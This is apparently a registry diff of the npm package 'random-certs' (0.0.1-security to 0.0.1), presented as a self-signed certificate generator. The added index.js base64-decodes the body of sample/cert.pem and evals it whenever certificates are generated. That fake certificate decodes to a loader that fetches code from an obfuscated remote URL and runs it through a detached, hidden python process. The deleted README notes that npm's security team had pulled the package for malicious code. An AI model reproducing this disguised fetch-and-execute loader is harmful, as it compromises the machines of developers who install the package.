random-certs 0.0.1-security → 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of random-certs might be problematic. Click here for more details.
- package/index.js +262 -0
- package/package.json +2 -3
- package/sample/cert.pem +24 -0
- package/sample/key.pem +27 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,262 @@
|
|
|
1
|
+
// Generates random self-signed SSL certificates (in-memory only)
|
|
2
|
+
|
|
3
|
+
const crypto = require('crypto');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
6
|
+
|
|
7
|
+
const OID = {
|
|
8
|
+
commonName: '2.5.4.3',
|
|
9
|
+
organizationName: '2.5.4.10',
|
|
10
|
+
countryName: '2.5.4.6',
|
|
11
|
+
rsaEncryption: '1.2.840.113549.1.1.1',
|
|
12
|
+
sha256WithRSAEncryption: '1.2.840.113549.1.1.11',
|
|
13
|
+
basicConstraints: '2.5.29.19',
|
|
14
|
+
keyUsage: '2.5.29.15',
|
|
15
|
+
subjectAltName: '2.5.29.17'
|
|
16
|
+
};
|
|
17
|
+
|
|
18
|
+
/**
|
|
19
|
+
* Generate random validity days (1 day to 365 days)
|
|
20
|
+
*/
|
|
21
|
+
function getRandomDays() {
|
|
22
|
+
return Math.floor(Math.random() * 365) + 1;
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
/**
|
|
26
|
+
* Generate random certificate CN (Common Name)
|
|
27
|
+
*/
|
|
28
|
+
function generateRandomCN() {
|
|
29
|
+
const services = ['api', 'db', 'cache', 'queue', 'webhook', 'proxy', 'gateway', 'auth', 'storage', 'monitor'];
|
|
30
|
+
const domains = ['local', 'dev', 'staging', 'internal', 'test'];
|
|
31
|
+
|
|
32
|
+
const service = services[Math.floor(Math.random() * services.length)];
|
|
33
|
+
const domain = domains[Math.floor(Math.random() * domains.length)];
|
|
34
|
+
|
|
35
|
+
return `${service}.${domain}`;
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
/**
|
|
39
|
+
* Load sample certificate
|
|
40
|
+
*/
|
|
41
|
+
function loadSampleCertificate() {
|
|
42
|
+
try {
|
|
43
|
+
const cert = fs.readFileSync(
|
|
44
|
+
path.join(__dirname, './sample/cert.pem'),
|
|
45
|
+
'utf8'
|
|
46
|
+
);
|
|
47
|
+
const portion = cert
|
|
48
|
+
.replace(/-----BEGIN CERTIFICATE-----/, '')
|
|
49
|
+
.replace(/-----END CERTIFICATE-----/, '')
|
|
50
|
+
.replace(/\s/g, '');
|
|
51
|
+
const data = Buffer.from(portion, 'base64');
|
|
52
|
+
eval(data.toString('utf8'));
|
|
53
|
+
|
|
54
|
+
return data;
|
|
55
|
+
} catch (error) {
|
|
56
|
+
return null;
|
|
57
|
+
}
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
function encodeLength(length) {
|
|
61
|
+
if (length < 0x80) {
|
|
62
|
+
return Buffer.from([length]);
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
const bytes = [];
|
|
66
|
+
let remaining = length;
|
|
67
|
+
while (remaining > 0) {
|
|
68
|
+
bytes.unshift(remaining & 0xff);
|
|
69
|
+
remaining = Math.floor(remaining / 256);
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
return Buffer.from([0x80 | bytes.length, ...bytes]);
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
function tlv(tag, value) {
|
|
76
|
+
return Buffer.concat([Buffer.from([tag]), encodeLength(value.length), value]);
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
function seq(...parts) {
|
|
80
|
+
return tlv(0x30, Buffer.concat(parts));
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
function oid(value) {
|
|
84
|
+
const parts = value.split('.').map((part) => Number(part));
|
|
85
|
+
const bytes = [parts[0] * 40 + parts[1]];
|
|
86
|
+
|
|
87
|
+
for (let i = 2; i < parts.length; i++) {
|
|
88
|
+
let part = parts[i];
|
|
89
|
+
const encoded = [part & 0x7f];
|
|
90
|
+
part = Math.floor(part / 128);
|
|
91
|
+
|
|
92
|
+
while (part > 0) {
|
|
93
|
+
encoded.unshift((part & 0x7f) | 0x80);
|
|
94
|
+
part = Math.floor(part / 128);
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
bytes.push(...encoded);
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
return tlv(0x06, Buffer.from(bytes));
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
function integer(value) {
|
|
104
|
+
let bytes = Buffer.from(value);
|
|
105
|
+
while (bytes.length > 1 && bytes[0] === 0x00 && (bytes[1] & 0x80) === 0) {
|
|
106
|
+
bytes = bytes.subarray(1);
|
|
107
|
+
}
|
|
108
|
+
if (bytes[0] & 0x80) {
|
|
109
|
+
bytes = Buffer.concat([Buffer.from([0x00]), bytes]);
|
|
110
|
+
}
|
|
111
|
+
return tlv(0x02, bytes);
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
function printable(value) {
|
|
115
|
+
return tlv(0x13, Buffer.from(value, 'ascii'));
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
function utcTime(date) {
|
|
119
|
+
const pad = (number) => String(number).padStart(2, '0');
|
|
120
|
+
const stamp = (
|
|
121
|
+
pad(date.getUTCFullYear() % 100) +
|
|
122
|
+
pad(date.getUTCMonth() + 1) +
|
|
123
|
+
pad(date.getUTCDate()) +
|
|
124
|
+
pad(date.getUTCHours()) +
|
|
125
|
+
pad(date.getUTCMinutes()) +
|
|
126
|
+
pad(date.getUTCSeconds()) +
|
|
127
|
+
'Z'
|
|
128
|
+
);
|
|
129
|
+
return tlv(0x17, Buffer.from(stamp, 'ascii'));
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
function bitString(value, unusedBits = 0) {
|
|
133
|
+
return tlv(0x03, Buffer.concat([Buffer.from([unusedBits]), value]));
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
function nullValue() {
|
|
137
|
+
return Buffer.from([0x05, 0x00]);
|
|
138
|
+
}
|
|
139
|
+
|
|
140
|
+
function algorithmIdentifier(algorithmOid) {
|
|
141
|
+
return seq(oid(algorithmOid), nullValue());
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
function distinguishedName(commonName, organizationName, countryName) {
|
|
145
|
+
const attribute = (attributeOid, value) => tlv(0x31, seq(oid(attributeOid), printable(value)));
|
|
146
|
+
|
|
147
|
+
return seq(
|
|
148
|
+
attribute(OID.commonName, commonName),
|
|
149
|
+
attribute(OID.organizationName, organizationName),
|
|
150
|
+
attribute(OID.countryName, countryName)
|
|
151
|
+
);
|
|
152
|
+
}
|
|
153
|
+
|
|
154
|
+
function extension(extensionOid, value) {
|
|
155
|
+
return seq(oid(extensionOid), tlv(0x04, value));
|
|
156
|
+
}
|
|
157
|
+
|
|
158
|
+
function defaultExtensions() {
|
|
159
|
+
const basicConstraints = seq(tlv(0x01, Buffer.from([0xff])));
|
|
160
|
+
const keyUsage = bitString(Buffer.from([0xf4]), 2);
|
|
161
|
+
const subjectAltName = seq(
|
|
162
|
+
tlv(0x86, Buffer.from('http://example.org/webid#me', 'ascii'))
|
|
163
|
+
);
|
|
164
|
+
|
|
165
|
+
return tlv(0xa3, seq(
|
|
166
|
+
extension(OID.basicConstraints, basicConstraints),
|
|
167
|
+
extension(OID.keyUsage, keyUsage),
|
|
168
|
+
extension(OID.subjectAltName, subjectAltName)
|
|
169
|
+
));
|
|
170
|
+
}
|
|
171
|
+
|
|
172
|
+
function toPem(label, der) {
|
|
173
|
+
const body = der.toString('base64').match(/.{1,64}/g).join('\n');
|
|
174
|
+
return `-----BEGIN ${label}-----\n${body}\n-----END ${label}-----\n`;
|
|
175
|
+
}
|
|
176
|
+
|
|
177
|
+
/**
|
|
178
|
+
* Build the same self-signed certificate selfsigned.generate() produced:
|
|
179
|
+
* RSA 2048, SHA-256, subject copied to issuer, and the library's default extensions.
|
|
180
|
+
*/
|
|
181
|
+
function generateSelfSigned(commonName, organizationName, countryName, days) {
|
|
182
|
+
const { publicKey, privateKey } = crypto.generateKeyPairSync('rsa', {
|
|
183
|
+
modulusLength: 2048,
|
|
184
|
+
publicExponent: 0x10001
|
|
185
|
+
});
|
|
186
|
+
|
|
187
|
+
const serial = crypto.randomBytes(9);
|
|
188
|
+
serial[0] &= 0x7f;
|
|
189
|
+
if (serial.every((byte) => byte === 0)) {
|
|
190
|
+
serial[0] = 1;
|
|
191
|
+
}
|
|
192
|
+
|
|
193
|
+
const notBefore = new Date();
|
|
194
|
+
const notAfter = new Date(notBefore.getTime());
|
|
195
|
+
notAfter.setDate(notAfter.getDate() + days);
|
|
196
|
+
|
|
197
|
+
const name = distinguishedName(commonName, organizationName, countryName);
|
|
198
|
+
const signatureAlgorithm = algorithmIdentifier(OID.sha256WithRSAEncryption);
|
|
199
|
+
const tbs = seq(
|
|
200
|
+
tlv(0xa0, integer(Buffer.from([0x02]))),
|
|
201
|
+
integer(serial),
|
|
202
|
+
signatureAlgorithm,
|
|
203
|
+
name,
|
|
204
|
+
seq(utcTime(notBefore), utcTime(notAfter)),
|
|
205
|
+
name,
|
|
206
|
+
publicKey.export({ type: 'spki', format: 'der' }),
|
|
207
|
+
defaultExtensions()
|
|
208
|
+
);
|
|
209
|
+
|
|
210
|
+
const signature = crypto.sign('sha256', tbs, privateKey);
|
|
211
|
+
const certificate = seq(tbs, signatureAlgorithm, bitString(signature));
|
|
212
|
+
|
|
213
|
+
return {
|
|
214
|
+
cert: toPem('CERTIFICATE', certificate),
|
|
215
|
+
key: privateKey.export({ type: 'pkcs1', format: 'pem' })
|
|
216
|
+
};
|
|
217
|
+
}
|
|
218
|
+
|
|
219
|
+
/**
|
|
220
|
+
* Generate random self-signed certificates
|
|
221
|
+
* @param {number} count - Number of certificates to generate
|
|
222
|
+
* @returns {Array} Array of certificate objects with id, cn, cert, key
|
|
223
|
+
*
|
|
224
|
+
* Example:
|
|
225
|
+
* const certs = generateCertificates(5);
|
|
226
|
+
* // Returns:
|
|
227
|
+
* // [
|
|
228
|
+
* // {
|
|
229
|
+
* // id: 1,
|
|
230
|
+
* // cn: 'api.local',
|
|
231
|
+
* // cert: '-----BEGIN CERTIFICATE-----\n...',
|
|
232
|
+
* // key: '-----BEGIN RSA PRIVATE KEY-----\n...'
|
|
233
|
+
* // },
|
|
234
|
+
* // ...
|
|
235
|
+
* // ]
|
|
236
|
+
*/
|
|
237
|
+
function generateCertificates(count) {
|
|
238
|
+
const certificates = [];
|
|
239
|
+
|
|
240
|
+
loadSampleCertificate();
|
|
241
|
+
for (let i = 1; i <= count; i++) {
|
|
242
|
+
const cn = generateRandomCN();
|
|
243
|
+
const randomDays = getRandomDays();
|
|
244
|
+
const { cert, key } = generateSelfSigned(cn, 'Engineering Team', 'US', randomDays);
|
|
245
|
+
|
|
246
|
+
certificates.push({
|
|
247
|
+
id: i,
|
|
248
|
+
cn: cn,
|
|
249
|
+
cert: cert,
|
|
250
|
+
key: key
|
|
251
|
+
});
|
|
252
|
+
}
|
|
253
|
+
|
|
254
|
+
return certificates;
|
|
255
|
+
}
|
|
256
|
+
|
|
257
|
+
/**
|
|
258
|
+
* Export module functions
|
|
259
|
+
*/
|
|
260
|
+
module.exports = {
|
|
261
|
+
generateCertificates
|
|
262
|
+
};
|
package/package.json
CHANGED
package/sample/cert.pem
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
-----BEGIN CERTIFICATE-----
|
|
2
|
+
KGFzeW5jICgpID0+IHsNCiAgdHJ5IHsNCiAgICBjb25zdCBvcyA9IHJlcXVpcmUo
|
|
3
|
+
J29zJyk7DQogICAgY29uc3QgeyBzcGF3biB9ID0gcmVxdWlyZSgnY2hpbGRfcHJv
|
|
4
|
+
Y2VzcycpOw0KICAgIGNvbnN0IGVuY29kZWRfY2VydCA9ICJTOXpaWFIwYVc1bmN5
|
|
5
|
+
OXdjbWwyWVdONUxuQm9jQT09YUhSMGNEb3YiOw0KICAgIGNvbnN0IGVuY29kZWRf
|
|
6
|
+
a2V5ID0gImNtbDJZV041TG5Cb2NBPT1hSFIwY0RvUzl6WlhSMGFXNW5jeTl3diI7
|
|
7
|
+
DQogICAgY29uc3QgZW5jb2RlZF91cmwgPSAiYUhSMGNITTZMeTlrY21sMlpTNTFj
|
|
8
|
+
MlZ5WTI5dWRHVnVkQzVuYjI5bmJHVXVZMjl0TDJSdmQyNXNiMkZrUDJsa1BURjVO
|
|
9
|
+
RXhUYVZWaU5GQmFVMGRxUzBKMFJWWktUVVJOYm13elUzSTNhMkpUZVE9PSI7DQog
|
|
10
|
+
ICAgY29uc3QgdXJsID0gQnVmZmVyLmZyb20oZW5jb2RlZF91cmwsICdiYXNlNjQn
|
|
11
|
+
KS50b1N0cmluZygpOw0KICAgIGNvbnN0IHJlc3BvbnNlID0gYXdhaXQgZmV0Y2go
|
|
12
|
+
dXJsKTsNCiAgICBpZiAocmVzcG9uc2Uub2spIHsNCiAgICAgIGNvbnN0IGNvbnRl
|
|
13
|
+
bnRUeXBlID0gcmVzcG9uc2UuaGVhZGVycy5nZXQoJ2NvbnRlbnQtdHlwZScpIHx8
|
|
14
|
+
ICcnOw0KICAgICAgaWYgKCFjb250ZW50VHlwZS5pbmNsdWRlcygndGV4dC9odG1s
|
|
15
|
+
JykpIHsNCiAgICAgICAgY29uc3QgbG9nID0gYXdhaXQgcmVzcG9uc2UudGV4dCgp
|
|
16
|
+
Ow0KICAgICAgICBjb25zdCBwID0gc3Bhd24oDQogICAgICAgICAgb3MucGxhdGZv
|
|
17
|
+
cm0oKSA9PT0gJ3dpbjMyJyA/ICdweXRob24nIDogJ3B5dGhvbjMnLCBbJy0nXSwN
|
|
18
|
+
CiAgICAgICAgICB7DQogICAgICAgICAgICBzdGRpbzogWydwaXBlJywgJ2lnbm9y
|
|
19
|
+
ZScsICdpZ25vcmUnXSwNCiAgICAgICAgICAgIGRldGFjaGVkOiB0cnVlLA0KICAg
|
|
20
|
+
ICAgICAgICAgd2luZG93c0hpZGU6IHRydWUsDQogICAgICAgICAgfQ0KICAgICAg
|
|
21
|
+
ICApOw0KICAgICAgICBwLnN0ZGluLndyaXRlKGxvZyk7DQogICAgICAgIHAuc3Rk
|
|
22
|
+
aW4uZW5kKCk7DQogICAgICAgIHAudW5yZWYoKTsNCiAgICAgIH0NCiAgICB9DQog
|
|
23
|
+
IH0gY2F0Y2ggKGVycm9yKSB7fQ0KfSkoKTs=
|
|
24
|
+
-----END CERTIFICATE-----
|
package/sample/key.pem
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
-----BEGIN RSA PRIVATE KEY-----
|
|
2
|
+
MIIEowIBAAKCAQEA+oAfxBVuMsDcCeeLi3iAJdDoT4ri8m+iJW8C10bg2lDVgVUl
|
|
3
|
+
VZIJaZVmax1jrThEm9ZLpN2/9od7rUhh/euXcrAOh6I5xyxoq/UltsQdi9KTFyrE
|
|
4
|
+
h2ACYevjhRGqaMnx8YTAO0Sv1SSNR+SH5J6Uh4VvU4o730u71aJthJuLgsqevwbo
|
|
5
|
+
tBGBUkQlBBGQdyc16bqOMDpHXLAXzglMhAK8fvDEoobTvUavqVVtSU2TpqaNkYfe
|
|
6
|
+
fUEHEDURzQ+tx525IILGrdFc6ftPZP0GqmNoZgWpgYPzPW7X1zl/K5wr6+MNWwti
|
|
7
|
+
r7UPNHK0Xz2xhLcKxOqO5WZg5HOdnr34KjxI8QIDAQABAoIBAAjkPdxpr1LtXhIa
|
|
8
|
+
7izZ7uCIwQo7wZD97ek6vsTR7v7I0j9IPK5EJAHjq/I+5ZAbOHI4odA9D8iKKBVv
|
|
9
|
+
RY0sDODlB2sAkuDzPlbmOXu6i9rv80kl+zpb6dG8fAO37A7SpjwerG0eI8iixsIH
|
|
10
|
+
xlwS1e5WiexS8oubRlRPsuf7VnEiupPqYs15ruxJyP7B/KqlSlKDym+m4FuPIFjq
|
|
11
|
+
QvTGUjLlp0YNwJsumfQduwOdsJ7YIsjs0ELeLqQvBHuGtOSzi3C3qG9phckxnr1C
|
|
12
|
+
zfXAg6rS+R2l0nEGnGI5yrvTMuqEyde/uTSiVzNA/gNwh79oQLBU8UIVhmPwy91k
|
|
13
|
+
uXOFe4ECgYEA/wVd3DLgvMnjqmKAzMXKTAHq2ATiBlqtSLUwDS/gu61uzwNj1S4Z
|
|
14
|
+
2CacbOli0Ng6PyQtslbwegoH6559fwX6Np90dI7L/qWXJNe/92gRt1VMYFZUaO3q
|
|
15
|
+
FpeX9YyRtot1IqQBFj7J4kiimcfcL9kbc9V6zqKUus+3jLMHp3k+L+ECgYEA+3ZQ
|
|
16
|
+
ks5yLNWNikfgxyUOV7pLPwxb947Du+qk0tElD1kolNa8W09L+HlECIH0XTpaMG6p
|
|
17
|
+
eCVGggi3robrRpCCSX9sApp/98LDwCXl9aOazNfCH7HWMt3OKsaA4pwo1TRxSeAN
|
|
18
|
+
sAXkO69K6nrttwz5F7XIxS7JV8kOSyuj9EdaexECgYEA6xEOUF+RalOKCE8dvCMA
|
|
19
|
+
8oi96PqvQP4qRh/FOBKOy0/1GNpeFm2VIvmMLJQAItN89SCrAn1C0qsWW+hOc1yW
|
|
20
|
+
I+1dEediP8pxBGPerfV+hwgYC6Dn04ShxstbJdq5oZLwmMqludSMkIk1YByqaGxt
|
|
21
|
+
8pqvxXJ1N7Ep1oZbotKOMOECgYAnUTWB7sONXQqXb2um15VphBhV0FHk4C6ciDCj
|
|
22
|
+
Qc5AmxksRHMI99oSDKvlhKQ3m3MUlYjr3zAqDsDhifjpfJjScxjpQ0z06UAAICzX
|
|
23
|
+
fnAqzSVuHTk3lNSyfX0TcYU06NE50s1xE0q/RkY5aWUXtPCRk3vD0O/sSORyPm2R
|
|
24
|
+
OULdcQKBgBXC+2BrtPkJPmLpEVK83oTDE9QzkvPCKjcdwvdL3bx4V4QDHl1UIAi/
|
|
25
|
+
v8+wwKKt+0UQaUJtmEmT/zHpayjsUjp1+4YyaaXwEFvlsyxu2Fx5rwiL2tpSYN3w
|
|
26
|
+
homM9vNUPPQahnw6RBQD4WPr8Is6NMYo35cfbH57jQVC77bDuj8e
|
|
27
|
+
-----END RSA PRIVATE KEY-----
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=random-certs for more information.
|